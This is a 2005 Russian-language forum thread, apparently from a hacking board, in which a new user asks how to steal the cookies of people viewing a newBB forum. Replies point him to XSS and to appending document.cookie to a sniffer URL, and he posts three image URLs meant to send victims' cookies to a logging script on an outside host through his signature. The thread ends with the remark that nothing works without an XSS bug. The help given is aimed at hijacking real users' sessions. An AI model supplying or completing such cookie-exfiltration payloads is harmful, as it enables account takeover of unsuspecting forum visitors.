Cookie

Discussion in 'PHP' started by Andrey_Go, 6 Dec 2005.

Thread Status:
Not open for further replies.
  1. Andrey_Go

    Andrey_Go New Member

    Joined:
    30 Nov 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Я тут новенькие... не подскажите какие образом можно скатать куки юзера на другой машине, может методом сниффера как нибудь можно. Тот снифер что тут стоит он возвращает только IP и адресную строку.
    Возможно ли каким нибудь методом заполучить куки пользователя который просматривают форум (newBB) ?

    Заранее спасибо.
     
  2. grinay

    grinay IQ- 137%

    Joined:
    15 Jun 2004
    Messages:
    409
    Likes Received:
    174
    Reputations:
    305
    Да с помошью xss атаки на этот самый форум который он посещает..
     
  3. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    Наверно ты просто ставиш снифер не забудь прописать +(document.cookie), и ты перехватиш куки.
     
  4. Andrey_Go

    Andrey_Go New Member

    Joined:
    30 Nov 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Я снифер ставлю в подпись, там разрешено использовать картинки с любого URL. Как мне правельно вписатоь УРЛ ?

    http://antichat.ru/cgi-bin/s.jpg+(document.cookie) или
    http://antichat.ru/cgi-bin/s.jpg?(document.cookie) или
    http://antichat.ru/cgi-bin/s.jpg?document.cookie

    Подскажите плиз....
     
  5. vorishka

    vorishka Elder - Старейшина

    Joined:
    3 Mar 2005
    Messages:
    309
    Likes Received:
    43
    Reputations:
    22
  6. Andrey_Go

    Andrey_Go New Member

    Joined:
    30 Nov 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0

    Вставляю я это в тэги..... он не воспринимает ЭТО как УРЛ картинки :( что делать ?
     
  7. byte57

    byte57 Elder - Старейшина

    Joined:
    22 Jan 2005
    Messages:
    568
    Likes Received:
    13
    Reputations:
    24
    ну если Xss баги нет то ниче не поделаешь, хоть куда вставляй...
     
  8. Andrey_Go

    Andrey_Go New Member

    Joined:
    30 Nov 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Спасибо за помощ. Думаю что тему можно закрыть :)
     
Thread Status:
Not open for further replies.